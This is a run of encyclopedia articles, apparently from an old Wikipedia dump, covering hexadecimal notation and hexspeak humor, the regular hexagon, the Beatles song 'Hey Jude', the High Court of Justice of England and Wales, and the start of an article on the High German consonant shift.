            	Notations such as X'5A3' are sometimes seen, such as in PL/I. This is the most common format for hexadecimal on IBM mainframes ( zSeries) and minicomputers ( iSeries) running traditional OS's (zOS, zVSE, zVM, TPF, OS/400), and is used in Assembler, PL/1, Cobol, JCL, scripts, commands and other places. This format was common on other (and now obsolete) IBM systems as well.


            	Donald Knuth introduced the use of particular typeface to represent a particular radix in his book The TeXbook. There, hexadecimal representations are written in a typewriter typeface: 5A3

          


          
            [image: A hexadecimal multiplication table]

            
              A hexadecimal multiplication table
            

          


          There is no universal convention to use lowercase or uppercase for the letter digits, and each is prevalent or preferred by particular environments by community standards or convention.


          The choice of the letters A through F to represent the digits above nine was not universal in the early history of computers. During the 1950s, some installations favored using the digits 0 through 5 with a macron character ("") to indicate the values 10-15. Users of Bendix G-15 computers used the letters U through Z.


          


          Verbal representations


          Not only are there no digits to represent the quantities from ten to fifteenso letters are used as a substitutebut most Western European languages also lack a nomenclature to name hexadecimal numbers. "Thirteen" and "fourteen" are decimal-based, and even though English has a names for several non-decimal powers: pair for the first binary power; score for the first vigesimal power; dozen, gross, and great gross for the first three duodecimal powers. However, no English name describes the hexadecimal powers (corresponding to the decimal values 16, 256, 4096, 65536, ...). Some people read hexadecimal numbers digit by digit like a phone number: 4DA is "four-dee-aye". However, the letter 'A' sounds similar to eight, 'C' sounds similar to three, and 'D' can easily be mistaken for the 'ty' suffix: Is it 4D or forty? Other people avoid confusion by using the NATO phonetic alphabet: 4DA is "four-delta-alpha". Similarly, some use the Joint Army/Navy Phonetic Alphabet ("four-dog-able"), or a similar ad hoc system.


          


          Signs


          The hexadecimal system can express negative numbers the same way as in decimal: 2A to represent 42 and so on.


          However, some prefer instead to express the exact bit patterns used in the processor and consider hexadecimal values best handled as unsigned values. This way, the negative number 42 can be written as FFFFFFD6 in a 32-bit CPU register, as C2280000 in a 32-bit FPU register or C045000000000000 in a 64-bit FPU register.


          


          Fractions


          As with other numeral systems, the hexadecimal system can be used to represent rational numbers, although recurring digits are common since sixteen (10h) has only a single prime factor (two):


          
            
              	12

              	
                
                  =
                

              

              	0.8

              	16

              	
                
                  =
                

              

              	0.2AAAAAAAA...

              	1A

              	
                
                  =
                

              

              	0.1999999999...

              	1E

              	
                
                  =
                

              

              	0.1249249249...
            


            
              	13

              	
                
                  =
                

              

              	0.5555555555...

              	17

              	
                
                  =
                

              

              	0.2492492492...

              	1B

              	
                
                  =
                

              

              	0.1745D1745D...

              	1F

              	
                
                  =
                

              

              	0.1111111111...
            


            
              	14

              	
                
                  =
                

              

              	0.4

              	18

              	
                
                  =
                

              

              	0.2

              	1C

              	
                
                  =
                

              

              	0.1555555555...

              	110

              	
                
                  =
                

              

              	0.1
            


            
              	15

              	
                
                  =
                

              

              	0.3333333333...

              	19

              	
                
                  =
                

              

              	0.1C71C71C71...

              	1D

              	
                
                  =
                

              

              	0.13B13B13B1...

              	111

              	
                
                  =
                

              

              	0.0F0F0F0F0F...
            

          


          For any base, 0.1 (or "1/10") is always equivalent to one divided by the representation of that base value in its own number system: Counting in base 3 is 0, 1, 2, 10 (three). Thus, whether dividing one by two for binary or divide one by sixteen for hexadecimal, both of these fractions are written as 0.1. Because the radix 16 is a perfect square (4), fractions expressed in hexadecimal have an odd period much more often than decimal ones, and there are no cyclic numbers (other than trivial single digits). Recurring digits are exhibited when the denominator in lowest terms has a prime factor not found in the radix; thus, when using hexadecimal notation, all fractions with denominators that are not a power of two result in an infinite string of recurring digits (such as thirds and fifths). This makes hexadecimal (and binary) less convenient than decimal for representing rational numbers since a larger proportion lie outside its range of finite representation.


          All rational numbers finitely representable in hexadecimal are also finitely representable in decimal, duodecimal and sexagesimal: that is, any hexadecimal number with a finite number of digits has a finite number of digits when expressed in those other bases. Conversely, only a fraction of those finitely representable in the latter bases are finitely representable in hexadecimal: That is, decimal 0.1 corresponds to the infinite recurring representation 0.199999999999... in hexadecimal. However, hexadecimal is more efficient than bases 12 and 60 for representing fractions with powers of two in the denominator (e.g., decimal one sixteenth is 0.1 in hexadecimal, 0.09 in duodecimal, 0;3,45 in sexagesimal and 0.0625 in decimal).


          


          Binary translation


          Most computers manipulate binary data, but it is difficult for humans to work with the large number of digits for even a relatively small binary number. Although most humans are familiar with the base 10 system, it is much easier to map binary to hexadecimal than to decimal because each hexadecimal digit maps to a whole number of bits (410). This example converts 11112 to base ten. Since each position in a binary numeral can contain either a 1 or 0, its value may be easily determined by its position from the right:


          
            	00012 = 110


            	00102 = 210


            	01002 = 410


            	10002 = 810

          


          Therefore:


          
            
              	11112

              	= 810 + 410 + 210 + 110
            


            
              	

              	= 1510
            

          


          With surprisingly little practice, mapping 11112 to F16 in one step becomes easy: see table in Uses. The advantage of using hexadecimal rather than decimal increases rapidly with the size of the number. When the number becomes large, conversion to decimal is very tedious. However, when mapping to hexadecimal, it is trivial to regard the binary string as 4 digit groups and map each to a single hexadecimal digit.


          This example shows the conversion of a binary number to decimal, mapping each digit to the decimal value, and adding the results.


          
            
              	010111101011010100102

              	= 26214410 + 6553610 + 3276810 + 1638410 + 819210 + 204810 + 51210 + 25610 + 6410 + 1610 + 210
            


            
              	

              	= 38792210
            

          


          Compare this to the conversion to hexadecimal, where each group of four digits can be considered independently, and converted directly:


          
            
              	010111101011010100102

              	=

              	0101

              	1110

              	1011

              	0101

              	00102
            


            
              	&;nbsp;

              	=

              	5

              	E

              	B

              	5

              	216
            


            
              	

              	=

              	5EB5216
            

          


          The conversion from hexadecimal to binary is equally direct.


          The octal system can also be useful as a tool for people who need to deal directly with binary computer data. Octal represents data as three bits per character, rather than four.


          


          Converting from other bases


          


          Addition and multiplication


          It is also possible to make the conversion by assigning each place in the source base the hexadecimal representation of its place value and then performing multiplication and addition to get the final representation.


          


          Conversion via binary


          As most computers work in binary, the normal way for a computer to make such a conversion would be to convert to binary first (by doing multiplication and addition in binary) and then make use of the direct mapping from binary to hexadecimal.


          


          Tools for conversion


          Most modern computer systems with graphical user interfaces provide a built-in calculator utility, capable of performing conversions between various radixes, generally including hexadecimal.


          In Microsoft Windows, the Calculator utility can be set to scientific calculator mode, which allows conversions between radix 16 (hexadecimal), 10 (decimal), 8 ( octal) and 2 (binary); the bases most commonly used by programmers. In Scientific Mode, the on screen numeric keypad includes the hexadecimal digits A through F which are active when "Hex" is selected.


          


          Cultural


          


          Etymology


          It was IBM that decided on the prefix of "hexa" rather than the proper Latin prefix of "sexa". The word "hexadecimal" is strange in that hexa is derived from the Greek έ (hex) for "six" and decimal is derived from the Latin for "tenth". It may have been derived from the Latin root, but Greek deka is so similar to the Latin decem that some would not consider this nomenclature inconsistent. An older term was the incorrect Latin-like "sexidecimal" (correct Latin is "sedecim" for 16), but that was changed because some people thought it too risqu, and it also had an alternative meaning of " base 60". However, the word " sexagesimal" (base 60) retains the prefix. The earlier Bendix documentation used the term "sexadecimal". Donald Knuth has pointed out that the etymologically correct term is "senidenary", from the Latin term for "grouped by 16". (The terms "binary", "ternary" and "quaternary" are from the same Latin construction, and the etymologically correct term for "decimal" arithmetic is "denary".) Schwartzman notes that the expected purely Latin form would be "sexadecimal", but then computer hackers would be tempted to shorten the word to "sex". Incidentally, the etymologically proper Greek term would be hexadecadic (although in Modern Greek deca-hexadic (ό) is more commonly used).


          


          Common patterns and humor


          Hexadecimal is sometimes used in programmer jokes because certain words can be formed using only hexadecimal digits. Some of these words are "dead", "beef", "babe", and with appropriate substitutions "c0ffee". Since these are quickly recognizable by programmers, debugging setups sometimes initialize memory to them to help programmers see when something has not been initialized. Some people add an H after a number if they want to show that it is written in hexadecimal. In older Intel assembly syntax, this is sometimes the case. " Hexspeak" may be the forerunner of the modern web parlance of " 1337speak"


          An example is the magic number in FAT Mach-O files and java programs, which is "CAFEBABE". Single-architecture Mach-O files have the magic number "FEEDFACE" at their beginning.


          A Knuth reward check is one hexadecimal dollar, or $2.56.


          The following table shows a joke in hexadecimal:

          
3x12=36
2x12=24
1x12=12
0x12=18



          The first three are interpreted as multiplication, but in the last, "0x" signals Hexadecimal interpretation of 12, which is 18.


          0xdeadbeef is sometimes put into uninitialized memory.


          Another joke based on the use of a word containing only letters from the first six in the alphabet (and thus those used in hexadecimal) is...


          
            	If only DEAD people understand hexadecimal, how many people understand hexadecimal?


            	In this case, DEAD refers to a hexadecimal number (57005 base 10), not the state of being no longer alive.

          


          Microsoft Windows XP clears its locked index.dat files with the hex codes: "0BADF00D".


          Two common bit patterns often employed to test hardware are 01010101 and 10101010 (their corresponding hex values are 55h and AAh, respectively). The reason for their use is to alternate between off ('0') to on ('1') or vice versa when switching between these two patterns. These two values are often used together as signatures in critical PC system sectors (e.g., the hex word, 0xAA55 which on little-endian systems is 55h followed by AAh, must at the end of a valid Master Boot Record).


          


          Primary numeral system


          There have been occasional attempts to promote hexadecimal as the preferred numeral system. These attempts usually propose pronunciation and/or symbology. Sometimes the proposal unifies standard measures so that they are multiples of 16.


          An example of unifying standard measures is Hexadecimal time which subdivides a day by 16 so that there are 16 "hexhours" in a day.


          


          
            Retrieved from " http://en.wikipedia.org/wiki/Hexadecimal"
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        Hexagon


        
          

          
            
              	Regular hexagon
            


            
              	[image: ]

              A regular hexagon, {6}
            


            
              	Edges and vertices

              	6
            


            
              	Schlfli symbols

              	{6}

              t{3}
            


            
              	CoxeterDynkin diagrams

              	[image: Image:CDW ring.svg]
            


            
              	Symmetry group

              	Dihedral (D6)
            


            
              	Area

              (with t=edge length)

              	[image: A = \frac{3 \sqrt{3}}{2}t^2]

              [image:  \simeq 2.598076211 t^2.]
            


            
              	Internal angle

              (degrees)

              	120
            

          


          In geometry, a hexagon is a polygon with six edges and six vertices. A regular hexagon has Schlfli symbol {6}.


          


          Regular hexagon


          
            [image: A regular hexagon is constructible with compass and straightedge. The following is a step-by-step animated method of this, given by Euclid's Elements, Book IV, Proposition 15.]

            
              A regular hexagon is constructible with compass and straightedge. The following is a step-by-step animated method of this, given by Euclid's Elements, Book IV, Proposition 15.
            

          


          The internal angles of a regular hexagon (one where all sides and all angles are equal) are all 120 and the hexagon has 720 degrees. It has 6 lines of symmetry. Like squares and equilateral triangles, regular hexagons fit together without any gaps to tile the plane (three hexagons meeting at every vertex), and so are useful for constructing tessellations. The cells of a beehive honeycomb are hexagonal for this reason and because the shape makes efficient use of space and building materials. The Voronoi diagram of a regular triangular lattice is the honeycomb tessellation of hexagons.


          The area of a regular hexagon of side length [image: t\,\!] is given by [image: A = \frac{3 \sqrt{3}}{2}t^2 \simeq 2.598076211 t^2.]


          The perimeter of a regular hexagon of side length [image: t\,\!] is, of course, [image: 6t\,\!], its maximal diameter [image: 2t\,\!], and its minimal diameter [image: t\sqrt{3}\,\!].


          There is no platonic solid made of regular hexagons. The archimedean solids with some hexagonal faces are the truncated tetrahedron, truncated octahedron, truncated icosahedron (of soccer ball and fullerene fame), truncated cuboctahedron and the truncated icosidodecahedron.


          


          Hexagons: natural and human-made


          


          
            Retrieved from " http://en.wikipedia.org/wiki/Hexagon"
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              	Hey Jude
            


            
              	[image: “Hey Jude” cover]
            


            
              	Single by The Beatles
            


            
              	B-side

              	" Revolution"
            


            
              	Released

              	26 August 1968
            


            
              	Format

              	7"
            


            
              	Recorded

              	
                31 July 1968


                Trident Studios, London

              
            


            
              	Genre

              	Rock
            


            
              	Length

              	7:05
            


            
              	Label

              	Apple Records
            


            
              	Writer(s)

              	Lennon/McCartney
            


            
              	Producer

              	George Martin
            


            
              	The Beatles singles chronology
            


            
              	
                
                  
                    	" Lady Madonna"

                    (1968)

                    	"Hey Jude"

                    (1968)

                    	" Get Back" / " Don't Let Me Down

                    (1969)
                  

                

              
            


            
              	Music sample
            


            
              	
            

          


          "Hey Jude" is a song by the English rock band The Beatles that was recorded in 1968. Originally titled "Hey Jules", the ballad was written by Paul McCartneyand credited to Lennon/McCartneyto comfort John Lennon's son Julian during his parents' divorce. "Hey Jude" begins with a verse-bridge structure based around McCartney's vocal performance and piano accompaniment; further details are added as the song progresses to distinguish sections. After the fourth verse, the song shifts to a fade-out coda that lasts for more than four minutes.


          "Hey Jude" was released in August 1968 as the first single from The Beatles' record label Apple Records. Over seven minutes in length, "Hey Jude" was at the time the longest single ever to top the British charts. It also spent nine weeks as number one in the United Statesthe longest run at the top of the American charts for a Beatles single. The single has sold approximately eight million copies and is frequently included on professional lists of the all-time best songs.


          


          Inspiration and composition


          In 1968, John Lennon and his wife Cynthia Lennon separated due to his affair with Yoko Ono. Soon afterwards, Paul McCartney drove out to visit Cynthia and Julian, her son with Lennon. "We'd been very good friends for millions of years and I thought it was a bit much for them suddenly to be persona non gratae and out of my life," McCartney said. Later, Cynthia Lennon recalled, "I was truly surprised when, one afternoon, Paul arrived on his own. I was touched by his obvious concern for our welfare.... On the journey down he composed 'Hey Jude' in the car. I will never forget Paul's gesture of care and concern in coming to see us."


          The song's original title was "Hey Jules", and it was intended to comfort Julian Lennon from the stress of his parents' divorce. McCartney said, "I started with the idea 'Hey Jules', which was Julian, don't make it bad, take a sad song and make it better. Hey, try and deal with this terrible thing. I knew it was not going to be easy for him. I always feel sorry for kids in divorces ... I had the idea [for the song] by the time I got there. I changed it to 'Jude' because I thought that sounded a bit better." Julian Lennon discovered the song had been written for him almost twenty years later. He remembered being closer to McCartney than to his father: "Paul and I used to hang about quite a bitmore than Dad and I did. We had a great friendship going and there seems to be far more pictures of me and Paul playing together at that age than there are pictures of me and my dad."


          Although McCartney originally wrote the song for Julian Lennon, John Lennon thought it had actually been written for him:


          
            But I always heard it as a song to me. If you think about it... Yoko's just come into the picture. He's saying. 'Hey, JudeHey, John.' I know I'm sounding like one of those fans who reads things into it, but you can hear it as a song to me ... Subconsciously, he was saying, Go ahead, leave me. On a conscious level, he didn't want me to go ahead.

          


          Other people believed McCartney wrote the song about them, including Judith Simons, a journalist with the Daily Express. Still others, including Lennon, have speculated that McCartney's failing long-term relationship with Jane Asher when he wrote "Hey Jude" was an unconscious "message to himself". In fact, when Lennon mentioned that he thought the song was about him, McCartney denied it, and told Lennon he had written the song about himself.


          McCartney changed the title to "Hey Jude" because the name Jude was easier to sing. Much as he did with " Yesterday", McCartney played the song for other musicians and friends. Ron Griffith of Badfinger, the first band to join the Beatles-owned record label Apple Records, recalled that on their first day in the studio, "Paul walked over to the grand piano and said, 'Hey lads, have a listen', and he sat down and gave us a full concert rendition of 'Hey Jude'. We were gobsmacked."


          


          Musical structure


          "Hey Jude" begins with McCartney singing lead vocals and playing the piano. The patterns McCartney plays are based on three chords: F, C and B-flat (I, V and IV). The second verse adds accompaniment by guitar and a single tambourine. The main chord progression is "flipped on its head" for the refrain, as the C chord is replaced by E-flat. Writer Tim Riley notes, "As Ringo offers a restrained tom-tom and cymbal fill, the piano shifts downward to add a flat seventh to the tonic chord, making the downbeat of the bridge the point of arrival ('And any time you feel the pain')." At the end of each bridge, McCartney sings a brief phrase ("Na-na-na na . . .") and plays a piano fill which leads to the next verse; the phrase McCartney sings serves to "reorient the harmony for the verse as the piano figure turns upside down into a vocal aside." Additional details, such as tambourine on the third verse and subtle harmonies that accompany the lead vocal, are added to sustain the interest of the listener throughout the four-verse, two-bridge song.


          The verse-bridge structure of the song persists for approximately three minutes, after which the band leads into a four-minute long outro refrain. During the outro, the rest of band, backed by an orchestra that also provides backing vocals, repeat the phrase "Na-na-na na" followed by the words "Hey Jude" until the song gradually fades out. Time magazine described the outro as "a fadeout that engagingly spoofs the fadeout as a gimmick for ending pop records." Riley notes the repeated chord progression of the outro (I-flat VII-IV-I) "answers all the musical questions raised at the beginnings and ends of bridges," for "The flat seventh that pose dominant turns into bridges now has an entire chord built on it." This three-chord refrain allows McCartney "a bedding [. . .] to leap about on vocally", as he ad-libs his vocal performance for the rest of the song. Riley concludes that the song "becomes a tour of Paul's vocal range: from the graceful inviting tones of the opening verse, through the mounting excitement of the song itself, to the surging raves of the coda."


          While "Hey Jude" was intended to address Julian Lennon, writer Mark Hertsgaard noted "many of the song's lyrics do seem directed more at a grown man on the verge of a powerful new love, especially the lines 'you have found her now go and get her' and 'you're waiting for someone to perform with.'" Tim Riley wrote, "If the song is about self-worth and self-consolation in the face of hardship, the vocal performance itself conveys much of the journey. He begins by singing to comfort someone else, finds himself weighing his own feelings in the process, and finally, in the repeated refrains that nurture his own approbation, he comes to believe in himself."


          


          Recording


          The Beatles recorded 25 takes of "Hey Jude" at Abbey Road Studios in two nights, 29 July and 30 July 1968. These were mostly rehearsals, however, as they planned to record the master track at Trident Studios to utilise their eight-track recording machine (Abbey Road was still limited to four-tracks). One take from 29 July is available on the Anthology 3 CD. The master rhythm track was recorded on 31 July at Trident. Four takes were recorded; take one was selected. The song was completed on 1 August with additional overdubs including a 36-piece orchestra for the song's long refrain, scored by George Martin. The orchestra consisted of ten violins, three violas, three cellos, two flutes, one contra bassoon, one bassoon, two clarinets, one contra bass clarinet, four trumpets, four trombones, two horns, percussion, and two string basses. While adding backing vocals, The Beatles asked the orchestra members if they would clap their hands and sing along to the refrain in the song's coda. Most complied (for a double fee), but one declined, saying "I'm not going to clap my hands and sing Paul McCartney's bloody song!"


          Ringo Starr almost missed his drum cue. He left for a toilet breakunnoticed by the other Beatlesand the Beatles started recording. In 1994, McCartney said, "Ringo walked out to go to the toilet and I hadn't noticed. The toilet was only a few yards from his drum booth, but he'd gone past my back and I still thought he was in his drum booth. I started what was the actual take, and 'Hey Jude' goes on for hours before the drums come in and while I was doing it I suddenly felt Ringo tiptoeing past my back rather quickly, trying to get to his drums. And just as he got to his drums, boom boom boom, his timing was absolutely impeccable."


          During the recording of the master take, Lennon shouted "Oh!" followed by "Fucking hell!" at 2:56 and 2:58, respectively, into the song. This occurs after he sings "let her into your skin" under McCartney's "let her under your skin." Sound engineer Ken Scott later told Mojo's Chris Hunt, "I was told about it at the time but could never hear it. But once I had it pointed out I can't miss it now. I have a sneaking suspicion they knew all along, as it was a track that should have been pulled out in the mix. I would imagine it was one of those things that happenedit was a mistake, they listened to it and thought, 'doesn't matter, it's fine'."


          George Harrison and McCartney had a disagreement over this song. According to McCartney, during a rehearsal Harrison played an answer to every line of the vocal. This did not fit with McCartney's idea of the song's arrangement, and he vetoed it. In a 1994 interview, McCartney said, "We were joking when we made the Anthology: I was saying: 'I realise I was a bossy git.' And George said, 'Oh no, Paul, you never did anything like that!' ... But it was essential for me and looking back on it, I think, Okay. Well, it was bossy, but it was ballsy of me, because I could have bowed to the pressure." Ron Richards, who worked for George Martin at both Parlophone at AIR Studios, and who discovered The Hollies, was present for many Beatle recording sessions. He said McCartney was "oblivious to anyone else's feelings in the studio," and that he was driven to make the best possible record, at almost any cost.


          


          Single release


          
            [image: A "gold record" of "Hey Jude".]

            
              A "gold record" of "Hey Jude".
            

          


          "Hey Jude" was released on 26 August 1968 in the United States and 30 August in the United Kingdom, backed with " Revolution" on the B-side of a 7" single. The single was the debut release of the Beatles' record label Apple Records, and it was also the first Beatles single to be issued in a paper sleeve instead of a picture cover. Even though "Hey Jude" was recorded during the sessions for The Beatles, also known as The White Album, it was always intended as a single and not an album track. Lennon wanted "Revolution" to be the A-side of the single, but the other Beatles did not agree. In his 1970 interview with Rolling Stone, he said "Hey Jude" was worthy of an A-side, "but we could have had both." Ten years later in 1980, he told Playboy he still disagreed with the decision.


          "Hey Jude" began its sixteen-week run on the British charts in 7 September 1968, claiming the top spot a week later. It only lasted two weeks on top before being knocked off by another single from Apple, Mary Hopkin's " Those Were the Days". The single was certified gold by the Recording Industry Association of America on 13 September; that same week NME reported that two million copies of the single had been sold. The song entered the U.S. charts on 14 September 1968, where it stayed for the next nineteen weeks. Two weeks later, "Hey Jude" was number one in the charts, and held that position for the following nine weeks, setting the U.S. record for the longest time spent by a Beatles single at number one, as well as being the longest-playing single to reach number one. Because of the U.S. practice of counting sales and airplay for the A- and B-sides of a single separately, at one point Record World listed "Hey Jude" at number one, followed by its B-side, "Revolution", at number two.


          American radio stations were averse to playing anything longer than the usual three to three-and-a-half minutes, and Capitol Records pressed a shortened version of the song specifically for airplay. "Hey Jude" clocked in at seven minutes and eleven seconds. The only other chart-topping song worldwide in the 1960s that ran over seven minutes was Richard Harris' " MacArthur Park". In the UK, where "MacArthur Park" did not top the chart, "Hey Jude" remained the longest number one hit for nearly a quarter of a century, until it was surpassed in 1993 by Meat Loaf's " I'd Do Anything for Love (But I Won't Do That)", which ran seven minutes fifty-eight seconds as a single.


          On 30 November 1968 NME reported that sales had reached nearly six million copies worldwide. "Hey Jude" became the biggest-selling debut release for a record label ever, selling an estimated eight million copies worldwide and topping the charts in eleven different countries. It remains the Beatles' most commercially successful single. "Hey Jude" was the top Billboard Hot 100 single for 1968, according to year-end charts. While the record was certified gold the day before it entered the U.S. charts, it took almost thirty years to be certified platinum, on 17 February 1999.


          


          Critical reception


          Upon the release of the "Hey Jude" single, Time contrasted it with its B-side "Revolution". Time wrote, "The other side of the new disk urges activism of a different sort" as McCartney "liltingly exhorts a friend to overcome his fears and commit himself in love." Music analyst Alan Pollack praised "Hey Jude" saying, "it's such a good illustration of two compositional lessonshow to fill a large canvas with simple means, and how to use diverse elements such as harmony, bassline, and orchestration to articulate form and contrast." He also said it is unusual for a long song because it uses a "binary form that combines a fully developed, hymn-like song together with an extended, mantra-like jam on a simple chord progression." Pollack described the song's long outro and fadeout as "an astonishingly transcendental effect," while Unterberger observed, "What could have very easily been boring is instead hypnotic".


          "Hey Jude" was nominated for the Grammy Awards of 1969 in the Record of the Year, Song of the Year and Best Pop Performance by a Duo or Group with Vocal categories, but failed to win any of them. It did win the 1968 Ivor Novello Award for "A-Side With the Highest Sales". In the NME 1968 Readers' Poll, "Hey Jude" was named the best single of the year. In 2001, "Hey Jude" was inducted into the National Academy of Recording Arts and Sciences Grammy Hall of Fame. In 2004, it was ranked number 8 on Rolling Stone magazine's list of the 500 greatest songs of all time. It came in third on Channel 4's list of 100 Greatest Singles. Broadcast Music Incorporated ranked "Hey Jude" the 11th-best jukebox single of all time.


          


          Promotional film


          The Beatles hired Michael Lindsay-Hogg to shoot the "Hey Jude" promotional film. Hogg had previously directed a "promo" film for " Paperback Writer." They settled on the idea of filming with a livealbeit controlledaudience. Hogg shot the promotional film for The Frost Programme, with McCartney himself designing the set. Tony Bramwell, a friend of the Beatles, later described the set as "the piano, there; drums, there; and orchestra in two tiers at the back." The eventual final film was a combination of two different takes, and first aired on 8 September 1968 with David Frost introducing the Beatles as "the greatest tea-room orchestra in the world". The film was later broadcast for the United States on The Smothers Brothers Comedy Hour on 6 October 1968. Footage of the performance can be seen in the Anthology DVD series.


          


          Auctioned lyrics


          In 1996, Julian Lennon paid 25,000 for the recording notes to "Hey Jude" at an auction. Lennon spent another 35,000 at the auction buying John Lennon memorabilia. John Cousins, Julian Lennon's manager, stated, "He has a few photographs of his father, but not very much else. He is collecting for personal reasons, these are family heirlooms if you like."


          In 2002, the original handwritten lyrics for the song were nearly auctioned off at Christie's in London. The sheet of notepaper with the scrawled lyrics had been expected to fetch up to 80,000 at the auction, which was scheduled for 30 April 2002. McCartney went to court to stop the auction, claiming the paper had disappeared from his West London home. Richard Morgan, representing Christie's, said McCartney had provided no evidence that he had ever owned the piece of paper on which the lyrics were written. The courts decided in McCartney's favour and prohibited the sale of the lyrics. They had been sent to Christie's for auction by Frenchman Florrent Tessier, who said he purchased the piece of paper at a street market stall in London for 10 in the early 1970s. In the original catalogue for the auction, Julian Lennon had written, "It's very strange to think that someone has written a song about you. It still touches me."


          


          Charts


          
            
              	
                
                  
                    	Chart (1968)

                    	Peak

                    position
                  


                  
                    	Austrian Singles Chart

                    	1
                  


                  
                    	Norwegian Singles Chart

                    	1
                  


                  
                    	Swiss Singles Chart

                    	1
                  


                  
                    	UK Singles Chart

                    	1
                  


                  
                    	U.S. Billboard Hot 100

                    	1
                  

                

              
            

          


          
            
              	Precededby

              " I've Gotta Get a Message to You" by Bee Gees

              	UK Singles Chart number one single

              11 September 1968 18 September 1968

              	Succeededby

              " Those Were the Days" by Mary Hopkin
            


            
              	Precededby

              " Harper Valley PTA" by Jeannie C. Riley

              	Billboard Hot 100 number one single

              28 September 1968 23 November 1968

              	Succeededby

              " Love Child" by Diana Ross & the Supremes
            


            
              	Precededby

              " To Sir, with Love" by Lulu

              	Billboard Hot 100 Number one single of the year

              1968

              	Succeededby

              " Sugar, Sugar" by The Archies
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        High Court of Justice


        
          

          
            	For the Cameroonian court by this name, see High Court of Justice (Cameroon), for the Israeli court of this name, see Supreme Court of Israel. The Court of First Instance of Hong Kong was also known as the High Court of Justice before 1997.


            	For the English Civil War court, see High Court of Justice for the trial of Charles I.

          


          The High Court of Justice (usually known more simply as the High Court) is, together with the Crown Court and the Court of Appeal, part of the Supreme Court of England and Wales (which under the Constitutional Reform Act 2005, is to be known as the Senior Courts of England and Wales).


          It deals at first instance with all the most high value and high importance cases, and also has a supervisory jurisdiction over all subordinate courts and tribunals. Appeal from the High Court in civil matters lies to the Court of Appeal and thence to the House of Lords, except when the High Court is sitting as a Prize Court when appeal lies to the Judicial Committee of the Privy Council.


          The High Court is based at the Royal Courts of Justice on The Strand, in central London. However, it also sits as 'District Registries' all across England and Wales and virtually all proceedings in the High Court may be issued and heard at a district registry. It is headed by the Lord Chief Justice of England and Wales. By convention, all of its male judges are made Knights Bachelor, while all of its female ones are made Dames Commander of the British Empire.


          The High Court is split into three main divisions: the Queen's Bench Division, the Chancery Division and the Family Division. The Supreme Court Costs Office is the part of the High Court that deals with legal costs and falls outside these divisions.


          


          Queen's Bench Division


          The Queen's Bench Division  or King's Bench Division when the monarch is a King  has two roles. It hears a wide range of contract law and personal injury / general negligence cases, but also has special responsibility as a supervisory court. Until 2005, the head of the QBD was the Lord Chief Justice (currently Lord Phillips of Worth Matravers). A new post of President of the Queen's Bench Division was created under the provisions of the Constitutional Reform Act 2005, leaving the Lord Chief Justice as President of the Courts of England and Wales, Head of the Judiciary of England and Wales and Head of Criminal Justice. Sir Igor Judge became the first person to hold this office in October 2005.


          Queen's Bench Division judges sit in the Crown Court, hearing criminal cases (as do Circuit judges and Recorders). In addition, the Divisional Court of the Division hears appeals on points of law from magistrates' courts and from Crown courts which have heard appeals from magistrates' courts (see Courts of England and Wales for an explanation of these courts). These are known as Appeals by way of Case Stated. All claims for judicial review of administrative decisions or decisions of inferior tribunals are heard by a Queen's Bench judge or a Divisional Court. Appeals from the High Court in civil matters lie to the Court of Appeal (Civil Division); in criminal matters appeal from the Divisional Court lies only to the House of Lords.


          Sub-divisions of the Queen's Bench Division include the Technology and Construction Court, Commercial Court, the Admiralty Court and the Administrative Court.


          


          Chancery Division


          The Chancery Division deals with business law, trusts law, probate law, and land law in relation to issues of equity. In addition it has specialist courts within it which deal with intellectual property and company law. All tax appeals are assigned to the Chancery Division. The head of the Chancery Division was known as the Vice-Chancellor until October 2005. The title was changed under the provisions of the Constitutional Reform Act 2005 to Chancellor of the High Court. The first Chancellor (and the last Vice-Chancellor) is Sir Andrew Morritt. One may read reported cases heard before the Chancery Division in the Chancery Division law reports.


          


          Family Division


          The Family Division deals with matters such as divorce, children, probate and medical treatment. Its decisions may concern life and death and are perhaps inevitably regarded as controversial. For example, it permitted a hospital to separate conjoined twins without the parents' consent; and allowed one woman to have her life support machines turned off, while not permitting a husband to give his severely disabled wife a lethal injection with her consent. The High Court Family Division has jurisdiction to hear all cases relating to children's welfare and interest, and exercises an exclusive jurisdiction in wardship cases. The head of the Family Division is the President of the Family Division Sir Mark Potter. Its most senior court is the Principal Registry of the Family Division which is based in First Avenue House, Holborn, London.


          The Family Division is comparatively modern, having been formed by combining the Admiralty Court and probate courts into the then Probate, Divorce and Admiralty Division of the High Court, or Wills, Wrecks and Wives as it was informally called.


          


          Judges


          The judges in the High Court are known formally as Justices of Her Majesty's High Court of Justice and informally as High Court judges, and are styled formally and in judicial matters The Hon. Mr(s) Justice (Forename) Surname. (The first judge with a particular surname is called, e.g., "Mr Justice Smith", and all subsequent judges with that surname are distinguished as "Mr Justice John Smith", "Mr Justice Robert Smith", etc., and female judges are called, e.g., "Mrs Justice Jones" regardless of marital status.) Socially they are known simply by the knighthood or damehood they acquire on appointment, without the prefix "The Hon.".


          See also List of High Court Judges of England and Wales.


          


          Supervisory role of the High Court and Circuits


          Historically, the source of all justice in England was the monarch. All judges sit in judgement on her behalf (hence why they have the royal coat of arms behind them) and criminal prosecutions made by the state are generally made on her behalf. Historically, local lords were permitted to administer justice in Manorial Courts and other ways. Inevitably, the justice administered was patchy and appeals were made direct to the King. The King's travelling representatives (whose primary purpose was tax collection) acted on behalf of the king to make the administration of justice more even. The tradition of judges travelling in set areas of the country or 'circuits' remains to this day, where they hear cases in the district registries of the High Court.


          It is also on behalf of the monarch that the Queen's Bench Division oversees all lesser courts and all government authority. Generally, unless other appeal processes are laid down in law, anyone who wants to challenge any decision of a lesser court, tribunal, government authority or state authority brings a claim for judicial review in the Queen's Bench Division. This is a special procedure in the Administrative Court of the Queen's Bench Division. A single judge first decides whether the matter is fit to bring to the court (to weed out frivolous or unwinnable cases) and if so the matter is allowed to go forward to a full judicial review hearing. This is not a jury matter. Appeals are to the Court of Appeal (Civil Division) and then to the House of Lords, or in criminal matters, directly to the House of Lords.


          
            Retrieved from " http://en.wikipedia.org/wiki/High_Court_of_Justice"
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          In historical linguistics, the High German consonant shift or second Germanic consonant shift was a phonological development ( sound change) which took place in the southern parts of the West Germanic dialect continuum in several phases, probably beginning between the 3rd and 5th centuries AD, and was almost complete before the earliest written records in the High German language were made in the 9th century. The resulting language, Old High German, can be neatly contrasted with the other continental West Germanic languages, which mostly did not experience the shift, and with Old English, which was completely unaffected.


          


          General description


          "High German" refers to the language of the mountainous south of the German-speaking area, as opposed to the Low German spoken in the coastal regions of the north.


